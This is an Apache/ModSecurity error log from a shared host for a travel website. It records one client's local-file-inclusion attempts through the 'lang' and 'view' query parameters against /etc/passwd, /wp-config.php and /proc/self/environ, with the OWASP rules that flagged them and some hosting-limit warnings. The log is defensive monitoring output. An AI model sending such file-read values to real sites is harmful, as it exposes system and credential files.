[Fri Jul 17 08:55:56.903193 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:56.903483 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxFCBpfuYyhJ140vS-QAAAB4"]
[Fri Jul 17 08:55:57.016345 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:lang: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlGQAAAAI"]
[Fri Jul 17 08:55:57.016449 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:lang: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlGQAAAAI"]
[Fri Jul 17 08:55:57.016907 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlGQAAAAI"]
[Fri Jul 17 08:55:57.017048 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.017353 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxY1dLClkUfK_dfHlGQAAAAI"]
[Fri Jul 17 08:55:57.020442 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:lang: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwltQAAAA0"]
[Fri Jul 17 08:55:57.021330 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwltQAAAA0"]
[Fri Jul 17 08:55:57.021540 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.022018 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxSvekYYQ8uns4MwltQAAAA0"]
[Fri Jul 17 08:55:57.137989 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:54690] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:57.140525 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:lang: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxaquHSHoCJK_V0SBjAAAABs"]
[Fri Jul 17 08:55:57.140657 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:lang: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxaquHSHoCJK_V0SBjAAAABs"]
[Fri Jul 17 08:55:57.141191 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxaquHSHoCJK_V0SBjAAAABs"]
[Fri Jul 17 08:55:57.141349 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.141719 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxaquHSHoCJK_V0SBjAAAABs"]
[Fri Jul 17 08:55:57.149434 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:54704] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:57.175794 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:lang: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxYl9vhFBGA6D8l96QwAAAAw"]
[Fri Jul 17 08:55:57.191502 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:lang: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxYl9vhFBGA6D8l96QwAAAAw"]
[Fri Jul 17 08:55:57.193930 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxYl9vhFBGA6D8l96QwAAAAw"]
[Fri Jul 17 08:55:57.195564 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.196003 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxYl9vhFBGA6D8l96QwAAAAw"]
[Fri Jul 17 08:55:57.208499 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.225519 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.241681 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.251699 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.253384 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:lang: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vS-gAAAB4"]
[Fri Jul 17 08:55:57.253485 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:lang: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vS-gAAAB4"]
[Fri Jul 17 08:55:57.253903 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vS-gAAAB4"]
[Fri Jul 17 08:55:57.254014 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.254529 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxVCBpfuYyhJ140vS-gAAAB4"]
[Fri Jul 17 08:55:57.259203 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.266495 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.268940 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.275593 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.280800 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:view: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxYl9vhFBGA6D8l96RgAAAAw"]
[Fri Jul 17 08:55:57.281489 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxYl9vhFBGA6D8l96RgAAAAw"]
[Fri Jul 17 08:55:57.281671 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.282116 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxYl9vhFBGA6D8l96RgAAAAw"]
[Fri Jul 17 08:55:57.290673 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:view: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxYl9vhFBGA6D8l96RwAAAAw"]
[Fri Jul 17 08:55:57.291499 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxYl9vhFBGA6D8l96RwAAAAw"]
[Fri Jul 17 08:55:57.291710 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.292112 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxYl9vhFBGA6D8l96RwAAAAw"]
[Fri Jul 17 08:55:57.298974 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:view: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwltwAAAA0"]
[Fri Jul 17 08:55:57.299095 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:view: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwltwAAAA0"]
[Fri Jul 17 08:55:57.299523 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwltwAAAA0"]
